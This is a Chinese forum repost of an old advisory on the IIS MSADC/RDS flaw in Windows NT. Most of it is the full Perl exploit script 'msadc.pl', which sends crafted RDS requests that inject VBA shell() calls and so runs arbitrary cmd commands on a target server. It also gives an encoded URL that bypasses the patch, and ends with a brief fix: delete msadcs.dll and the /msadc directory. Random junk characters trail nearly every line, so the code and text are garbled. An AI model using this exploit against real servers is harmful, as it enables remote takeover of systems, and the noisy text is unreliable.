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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)

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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷) R%SsHu">  
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涉及程序: Jtc?p{  
Microsoft NT server h]G }E9\l  
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描述: &zUo",}9  
1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限 7*u0)Hog  
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详细: 7Nx@eoZ  
如果你没有时间读详细内容的话,就删除: wgfn:LR  
c:\Program Files\Common Files\System\Msadc\msadcs.dll jhK&Z7;  
有关的安全问题就没有了。 @$Z5A g!  
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微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。 Fx)]AJ~[t  
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1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。 vPpbm  
关于利用ODBC远程漏洞的描述,请参看: 3^ wJ4=^  
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http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm 9?l( }S`  
(#7pGGp*E  
2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看 w QwY_ _  
http://www.microsoft.com/security/bulletins/MS99-025faq.asp `7+?1 z  
&# `d8}3D  
这里不再论述。 rJD>]3D5p  
u~% m(  
3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似: T?E2;j0h'#  
u=k\]W-  
/%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset ENjrv   
的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!! T%- F,i  
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CSwNsFDR%  
#将下面这段保存为txt文件,然后: "perl -x 文件名" Hm%[d;Z7  
V<nh+Q3<d  
#!perl  Zna }h{  
# :cIE8<\%  
# MSADC/RDS 'usage' (aka exploit) script v" y e\ZG  
# tWL9>7]G  
# by rain.forest.puppy U#@:"v|  
# !|,=rM9x  
# Many thanks to Weld, Mudge, and Dildog from l0pht for helping me +=U`  
# beta test and find errors! >8 VfijK  
\ssuO  
use Socket; use Getopt::Std; ]Cbht\Ag"  
getopts("e:vd:h:XR", \%args); V|<qO-#.  
';zLh  
print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n"; ?Q:se  
[Zi\L>PHO  
if (!defined $args{h} && !defined $args{R}) { vqv(KsD+::  
print qq~ SAly~(r?/  
Usage: msadc.pl -h <host> { -d <delay> -X -v } |M0 XLCNd_  
-h <host> = host you want to scan (ip or domain) Lp1wA*  
-d <seconds> = delay between calls, default 1 second RhX 2qsva-  
-X = dump Index Server path table, if available +1F@vag7  
-v = verbose CA[k$Sw*  
-e = external dictionary file for step 5 {tF=c0Z  
7u o4F= %  
Or a -R will resume a command session mpK|I|-   
f}nGWV%,  
~; exit;} (;C_>EL&u  
\MK)dj5uUJ  
$ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target=""; 3J%jD  
if (defined $args{v}) { $verbose=1; } else {$verbose=0;} /O/u5P{J  
if (defined $args{d}) { $delay=$args{d};} else {$delay=1;} ||9f@9  
if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/); ?W%3>A  
$target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");} Wb/@~!+i`  
if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; } rx|/]NE;  
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if (!defined $args{R}){ $ret = &has_msadc; ",Ek| z  
die("Looks like msadcs.dll doesn't exist\n")if $ret==0}  //K]zu  
tj{rSg7{  
print "Please type the NT commandline you want to run (cmd /c assumed):\n" sfa T`q  
. "cmd /c "; ~O |j*T  
$in=<STDIN>; chomp $in; tJ2l_M^  
$command="cmd /c " . $in ; qt/"$6]%  
<$,i Yx   
if (defined $args{R}) {&load; exit;} 8t9sdqM/C  
E5-8tHV   
print "\nStep 1: Trying raw driver to btcustmr.mdb\n"; r(%#@?&  
&try_btcustmr; ~sMn/T*fv  
VO. Y\8/  
print "\nStep 2: Trying to make our own DSN..."; Ya304Pjd  
&make_dsn ? print "<<success>>\n" : print "<<fail>>\n"; DCP "  
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print "\nStep 3: Trying known DSNs..."; "R4~ 8r  
&known_dsn; '00DUUa  
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print "\nStep 4: Trying known .mdbs..."; LTBqXh  
&known_mdb; 3_vggK%  
>(:KEA  
if (defined $args{e}){ tul5:}x3  
print "\nStep 5: Trying dictionary of DSN names..."; 9bqfZ"6nXY  
&dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; } Zff-Hl  
]V><gZ  
print "Sorry Charley...maybe next time?\n"; %6kD^K-  
exit; j%~UU0(J  
6;[iX`LL  
############################################################################## }*IX34  
n3~xiQ'  
sub sendraw { # ripped and modded from whisker @2kt6 W  
sleep($delay); # it's a DoS on the server! At least on mine... :m@(S6T m  
my ($pstr)=@_; AO>K 6{  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || `'+[Y;s_  
die("Socket problems\n"); ikyvst>O  
if(connect(S,pack "SnA4x8",2,80,$target)){ * RN*Bh|$  
select(S); $|=1; P0}uTee  
print $pstr; my @in=<S>; +%'0;  
select(STDOUT); close(S); g&riio7lx  
return @in; RrKs!2sCT  
} else { die("Can't connect...\n"); }} u+XZdV  
-%%2Pz0I  
############################################################################## J cvK]x  
gLd3,$ Ei  
sub make_header { # make the HTTP request ;t[<!  
my $msadc=<<EOT +#'exgGU^[  
POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1 a+r0@eFLc  
User-Agent: ACTIVEDATA v<3i~a  
Host: $ip ,B!u*  
Content-Length: $clen GMB%A  
Connection: Keep-Alive yBs  
Il*wVNrZI  
ADCClientVersion:01.06 Q9FY.KUM  
Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3 {Qlvj.Xw  
;Q? Qwda  
--!ADM!ROX!YOUR!WORLD! N ?0V0B  
Content-Type: application/x-varg )v0m7L v#/  
Content-Length: $reqlen A%%WPBk{O  
rw8db'  
EOT oNl_r:G  
; $msadc=~s/\n/\r\n/g; wzP>Cq  
return $msadc;} SijC E~P  
}3M\&}=8  
############################################################################## &d9";V"E  
F0Rk[GM  
sub make_req { # make the RDS request vF1] L]z:?  
my ($switch, $p1, $p2)=@_; !mq+Oz~  
my $req=""; my $t1, $t2, $query, $dsn; 7 tit>dJ  
l,,5OZw  
if ($switch==1){ # this is the btcustmr.mdb query eX;"kO  
$query="Select * from Customers where City=" . make_shell(); L!-T`R8'c  
$dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" . \CU.'|X  
$p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";} -DU[dU*~  
'OkF.bs  
elsif ($switch==2){ # this is general make table query %hcY [F<  
$query="create table AZZ (B int, C varchar(10))"; 6 )xm?RK  
$dsn="$p1";} spd>.Cm`  
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elsif ($switch==3){ # this is general exploit table query S(9fGh  
$query="select * from AZZ where C=" . make_shell(); ]e)<CE2   
$dsn="$p1";} #}e)*(  
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elsif ($switch==4){ # attempt to hork file info from index server C!~&c7  
$query="select path from scope()"; Y/)>\  
$dsn="Provider=MSIDXS;";} /d8PDc"  
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elsif ($switch==5){ # bad query )P\ec  
$query="select"; GP`_R  
$dsn="$p1";} q3 1swP  
8[2^`g  
$t1= make_unicode($query); 5 E DGl  
$t2= make_unicode($dsn); :|N5fkhN  
$req = "\x02\x00\x03\x00"; A4 o'EQ?~  
$req.= "\x08\x00" . pack ("S1", length($t1)); LUw0MW(Moi  
$req.= "\x00\x00" . $t1 ; ~{RXc+  
$req.= "\x08\x00" . pack ("S1", length($t2)); [fO \1J  
$req.= "\x00\x00" . $t2 ; ?w /tq!  
$req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n"; SP5/K3t-*  
return $req;} /R 2:Js  
u@[D*c1!H  
############################################################################## vKol@7%N  
PL%_V ?z  
sub make_shell { # this makes the shell() statement nuhKM.a{  
return "'|shell(\"$command\")|'";} &kYg >X  
}3=]1jH6  
############################################################################## ),dXaP[  
z.P) :Er  
sub make_unicode { # quick little function to convert to unicode v\0[B jhL?  
my ($in)=@_; my $out; &*[T  
for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }  h ej  
return $out;} iHWl%]7sN  
A$[@AY$MI  
############################################################################## trtI^^/%  
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sub rdo_success { # checks for RDO return success (this is kludge) tE=P9 \4  
my (@in) = @_; my $base=content_start(@in); 6\/C]![%  
if($in[$base]=~/multipart\/mixed/){ 1i#M(u_  
return 1 if( $in[$base+10]=~/^\x09\x00/ );} m7g; psg  
return 0;} |HhUU1!  
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############################################################################## U]d{hY."  
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sub make_dsn { # this makes a DSN for us NFU 5+X-c  
my @drives=("c","d","e","f"); MXSPD# gN  
print "\nMaking DSN: "; gKn"e|A  
foreach $drive (@drives) { %0$$tS +  
print "$drive: "; q<D'"7#.  
my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" . ![{>f6{J  
"Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="  ()=  
. $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n"); q %8,@xg  
$results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#; r;I 3N+  
return 0 if $2 eq "404"; # not found/doesn't exist QJ-6aB  
if($2 eq "200") { jrZM  
foreach $line (@results) { IbF[nQ  
return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}} Mm+_>   
} return 0;} 50Pz+:  
Q V4{=1A  
############################################################################## v; &-]ka  
>Vn;1|w  
sub verify_exists { '@ (WT~g  
my ($page)=@_; gGH<%nHW1  
my @results=sendraw("GET $page HTTP/1.0\n\n"); 7b \HbgZ  
return $results[0];} aXhgzI5]  
W6 f*>  
############################################################################## ?b:l.0m  
egK,e?~  
sub try_btcustmr { V)f/umT%g  
my @drives=("c","d","e","f"); +tES:3Pi  
my @dirs=("winnt","winnt35","winnt351","win","windows"); =Y?M#3P.I  
Y u8a8p|  
foreach $dir (@dirs) { nO,<`}pV  
print "$dir -> "; # fun status so you can see progress _<yJQ|[z~i  
foreach $drive (@drives) { 'k{pWfn=<  
print "$drive: "; # ditto 8{(;s$H~  
$reqlen=length( make_req(1,$drive,$dir) ) - 28; p\WW~qD  
$reqlenlen=length( "$reqlen" ); yL7a*C&  
$clen= 206 + $reqlenlen + $reqlen; gj0gs  
NYm2fFPc  
my @results=sendraw(make_header() . make_req(1,$drive,$dir)); q1.w8$  
if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;} y4w{8;Mh  
else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}} /P Qz$e-!Y  
(kK6=Mrf  
############################################################################## ^8ZVB.Fv  
a=.A/;|0*  
sub odbc_error { "z1\I\ ^  
my (@in)=@_; my $base; GxuFO5wz  
my $base = content_start(@in); jyb/aov  
if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this )F8G q,  
$in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; WIa4!\Ky!  
$in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; \|L ~#{a  
$in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; vxzh|uF  
return $in[$base+4].$in[$base+5].$in[$base+6];} pGc_Klq  
print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n"; %J5zfNe)&  
print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] . >RG }u  
$in[$base+4] . $in[$base+5] . $in[$base+6]; exit;} 4 ac2^`  
z v*hA/  
############################################################################## J/:9;{R  
Pa 'g=-  
sub verbose { Rs$k3   
my ($in)=@_; "\Zsr6y  
return if !$verbose; 4nN%5c~=  
print STDOUT "\n$in\n";} XkDjA#nx`  
PxhB=i!'$  
############################################################################## _{_ybXG|  
RLu y;z  
sub save { WV]Si2pOZ  
my ($p1, $p2, $p3, $p4)=@_; <7~HG(ks  
open(OUT, ">rds.save") || print "Problem saving parameters...\n"; U,_uy@fE=?  
print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n"; /bjyV]N  
close OUT;} NldeD2~H  
e23}'qb  
############################################################################## $-Lk,}s.*  
NuRxkeEO  
sub load { 6FFQoE|n  
my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq="; KB0 HM  
open(IN,"<rds.save") || die("Couldn't open rds.save\n"); O-[lL"T  
@p=<IN>; close(IN); K?+iu|$ &  
$ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/); Y6~/H  
$target= inet_aton($ip) || die("inet_aton problems"); s5_[[:c=^  
print "Resuming to $ip ..."; 'vq-~y5^#  
$p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g; Mj&q"G  
if($p[1]==1) { j7IX"O%f\  
$reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28; 0 XxU1w8\V  
$reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen; s"7wG!yf  
my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]")); bS=aFl#  
if (rdo_success(@results)){print "Success!\n";} ] lE6:^V  
else { print "failed\n"; verbose(odbc_error(@results));}} 0>} FNRC  
elsif ($p[1]==3){ JL5 )  
if(run_query("$p[3]")){ C_mPw  
print "Success!\n";} else { print "failed\n"; }} 52 ? TLID  
elsif ($p[1]==4){ 9lbe[w @  
if(run_query($drvst . "$p[3]")){ /GCI`hx>"  
print "Success!\n"; } else { print "failed\n"; }} %JF.m$-  
exit;} !B5 }`*1D  
kTZ`RW&0  
############################################################################## ]a F,r"  
!C]0l  
sub create_table { |75>8;  
my ($in)=@_; `CP# S7W^  
$reqlen=length( make_req(2,$in,"") ) - 28; Z7a~M3VnZ  
$reqlenlen=length( "$reqlen" ); ;.>CDt-E]  
$clen= 206 + $reqlenlen + $reqlen; r%\(5H f  
my @results=sendraw(make_header() . make_req(2,$in,"")); $ lz\t e  
return 1 if rdo_success(@results); *8{PoD   
my $temp= odbc_error(@results); verbose($temp); :y^0]In  
return 1 if $temp=~/Table 'AZZ' already exists/; 'id] <<F  
return 0;} p uEu v6F  
fTQRn  
############################################################################## ^Tgu]t   
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sub known_dsn { JR>#PJ,N-  
# we want 'wicca' first, because if step 2 made the DSN, it's ready to go v[~e=^IIsl  
my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications", 6g06s @kz  
"cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM", 7VQ|3`!<  
"banner", "banners", "ads", "ADCDemo", "ADCTest"); 5i `q  
}i0(^"SoXZ  
foreach $dSn (@dsns) { !A!}j.s  
print "."; JG\T2/b  
next if (!is_access("DSN=$dSn")); zg L0v5vk  
if(create_table("DSN=$dSn")){ {=};<;_F  
print "$dSn successful\n"; Qk2^p^ T6  
if(run_query("DSN=$dSn")){ /qM:;:N%j  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { N.R,[K  
print "Something's borked. Use verbose next time\n";}}} print "\n";} *S,5  
mux_S2x9m\  
############################################################################## nW#UBtZ  
*Y'nDv6_P  
sub is_access { YL*yiZ9  
my ($in)=@_; !ZlBM{C  
$reqlen=length( make_req(5,$in,"") ) - 28; Jm0o[4  
$reqlenlen=length( "$reqlen" ); 4JV/Ci5  
$clen= 206 + $reqlenlen + $reqlen; r$7fw}'I  
my @results=sendraw(make_header() . make_req(5,$in,"")); H&Jp,<\x  
my $temp= odbc_error(@results); 2 u:w  
verbose($temp); return 1 if ($temp=~/Microsoft Access/); WxO2  
return 0;} >#~!03  
|-t>_+. J'  
############################################################################## @ )nxX))a  
=*<Cw?Gc  
sub run_query { m?wPZ^u  
my ($in)=@_;  @Tk5<B3  
$reqlen=length( make_req(3,$in,"") ) - 28; <=D !/7$ O  
$reqlenlen=length( "$reqlen" ); ixc~DV+@[  
$clen= 206 + $reqlenlen + $reqlen; G- nS0Kn:  
my @results=sendraw(make_header() . make_req(3,$in,"")); %A_h!3f&  
return 1 if rdo_success(@results); u~[=5r  
my $temp= odbc_error(@results); verbose($temp); 6_xPk`m  
return 0;} JAEn 72  
gT3i{iU  
############################################################################## oTS/z\C"<u  
KA^r,Iw  
sub known_mdb { phkfPvL{  
my @drives=("c","d","e","f","g"); Am>^{qh9  
my @dirs=("winnt","winnt35","winnt351","win","windows"); ;J<K/YdI  
my $dir, $drive, $mdb; 4I&e_b< 30  
my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq="; mIk8hA@B_  
a@+n  
# this is sparse, because I don't know of many :g@H=W  
my @sysmdbs=( "\\catroot\\icatalog.mdb", , gYbi-E  
"\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb", NHI(}Ea|]  
"\\system32\\certmdb.mdb", Js{X33^Ju  
"\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot% KYe@2 6   
0_\@!#-sml  
my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb", ?4QX;s7  
"\\cfusion\\cfapps\\forums\\forums_.mdb", Rb!V{jQ  
"\\cfusion\\cfapps\\forums\\data\\forums.mdb", pCOtk'n  
"\\cfusion\\cfapps\\security\\realm_.mdb", {k:W?`  
"\\cfusion\\cfapps\\security\\data\\realm.mdb", W_JFe(=3,  
"\\cfusion\\database\\cfexamples.mdb", rt +a/:4+  
"\\cfusion\\database\\cfsnippets.mdb", z#DgoA  
"\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb", E(%_aFx>/  
"\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb", 9:[L WT&  
"\\cfusion\\brighttiger\\database\\cleam.mdb", 6d%V=1^F  
"\\cfusion\\database\\smpolicy.mdb", i6Zsn#Z7)  
"\\cfusion\\database\cypress.mdb", _d<xxF^q  
"\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb", O4Z_v%2M  
"\\website\\cgi-win\\dbsample.mdb", FR5P;Yz%H  
"\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb", acG4u+[ ]  
"\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb" V@%:y tDf  
); #these are just O:G5n 5J  
foreach $drive (@drives) { p0r:U< &  
foreach $dir (@dirs){ kx3?'=0;5  
foreach $mdb (@sysmdbs) { ]|6)'L&]*s  
print "."; yv),>4_6  
if(create_table($drv . $drive . ":\\" . $dir . $mdb)){ :9c[J$R4  
print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n"; ^}VAH#c  
if(run_query($drv . $drive . ":\\" . $dir . $mdb)){ #Cy9E"lP  
print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit; 3Ql77?&k  
} else { print "Something's borked. Use verbose next time\n"; }}}}} yAyq-G"sO  
<Sn;k[M}d  
foreach $drive (@drives) { {`KRr:w  
foreach $mdb (@mdbs) { !t.*xT4W  
print "."; d<,'9/a>  
if(create_table($drv . $drive . $dir . $mdb)){ = ^NTHc^*  
print "\n" . $drive . $dir . $mdb . " successful\n"; 16pk4f8  
if(run_query($drv . $drive . $dir . $mdb)){ )c;zNs  
print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit; P84uEDY  
} else { print "Something's borked. Use verbose next time\n"; }}}} *{K?JB#W  
} A3su!I2S  
D=>[~u3H  
############################################################################## _zuX6DO  
=eHoJq  
sub hork_idx { =PQMd  
print "\nAttempting to dump Index Server tables...\n"; B)!ty"  
print " NOTE: Sometimes this takes a while, other times it stalls\n\n"; qG&}lg?g{  
$reqlen=length( make_req(4,"","") ) - 28; /RF=8,A  
$reqlenlen=length( "$reqlen" ); m N&G  
$clen= 206 + $reqlenlen + $reqlen; /O*4/  
my @results=sendraw2(make_header() . make_req(4,"","")); =#z8CFq[O  
if (rdo_success(@results)){ #?^%#"~4H  
my $max=@results; my $c; my %d; -G|?Kl  
for($c=19; $c<$max; $c++){ ZYMacTeJjg  
$results[$c]=~s/\x00//g; m,3H]  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g; x@aWvrL  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g; eI#b%h  
$results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/; He1hgJ)N  
$d{"$1$2"}="";} VMZUJ2Yj/&  
foreach $c (keys %d){ print "$c\n"; } <meQ  
} else {print "Index server doesn't seem to be installed.\n"; }} p#QR^|7"  
#'qDNY@w}  
############################################################################## 7]J7'!Iz  
`<oNEr+#  
sub dsn_dict { CW+]Jv]"  
open(IN, "<$args{e}") || die("Can't open external dictionary\n"); Ow3t2G  
while(<IN>){ O_S%PX  
$hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print "."; |qAU\m"Pc  
next if (!is_access("DSN=$dSn")); 1 x'H #  
if(create_table("DSN=$dSn")){ ;Yr?"|  
print "$dSn successful\n"; 1*VArr6*6  
if(run_query("DSN=$dSn")){ 2d60o~ E  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { e$t$,3~  
print "Something's borked. Use verbose next time\n";}}} jl)7Jd  
print "\n"; close(IN);} =^5,ua6  
{0Jpf[.f  
############################################################################## J? 4E Hl  
^T< HD  
sub sendraw2 { # ripped and modded from whisker Ug P  
sleep($delay); # it's a DoS on the server! At least on mine... j=U^+jAn  
my ($pstr)=@_; 6eB2mcV  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || S}}L& _  
die("Socket problems\n"); # 9@K  
if(connect(S,pack "SnA4x8",2,80,$target)){ l'Kx#y$  
print "Connected. Getting data"; x)0''}E~  
open(OUT,">raw.out"); my @in; j7>a ^W  
select(S); $|=1; print $pstr; X{BS]   
while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";} \r5L7y$9 h  
close(OUT); select(STDOUT); close(S); return @in; >U9JbkeF  
} else { die("Can't connect...\n"); }} "?n;dXYSi  
+YFAZv7`  
############################################################################## }fqy vI  
tupAU$h?!  
sub content_start { # this will take in the server headers C&/_mm5  
my (@in)=@_; my $c; W>'KE:!sp  
for ($c=1;$c<500;$c++) { K @h9 4Ni6  
if($in[$c] =~/^\x0d\x0a/){ .`TDpi9OB  
if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; } mr[+\ 5  
else { return $c+1; }}} v"v-c!k  
return -1;} # it should never get here actually v~AD7k2{8  
kBlk^=h<:w  
############################################################################## :< *xG&  
8iwH^+h~  
sub funky { n5z";:p  
my (@in)=@_; my $error=odbc_error(@in); Ja[7/  
if($error=~/ADO could not find the specified provider/){ =c34MY(#X  
print "\nServer returned an ADO miscofiguration message\nAborting.\n"; d&owS+B{48  
exit;} /V"6Q'D  
if($error=~/A Handler is required/){ $a.,; :  
print "\nServer has custom handler filters (they most likely are patched)\n"; &^hLFd7j/  
exit;} !M(3[(Ni  
if($error=~/specified Handler has denied Access/){ {+CBThC  
print "\nServer has custom handler filters (they most likely are patched)\n"; 3jzmiS]  
exit;}} C lWxL#L6~  
ai$s  
############################################################################## *!c&[- g  
{;^GKb+  
sub has_msadc { @;b @O _  
my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n"); 9lR-  
my $base=content_start(@results); A2p]BW&  
return 1 if($results[$base]=~/Content-Type: application\/x-varg/); ?C`&*+  
return 0;} E06)&tF  
UPGS/Xs]1  
######################## s)-O{5;U  
l\"wdS}  
,1e\}^  
解决方案: -& T.rsp  
1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll r=cm(AHF  
2、移除web 目录: /msadc
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只看该作者 1 发表于: 2006-06-30
很老的一篇文章 ]wHXrB8vx  
t+t D  
拿出来充数 哈哈
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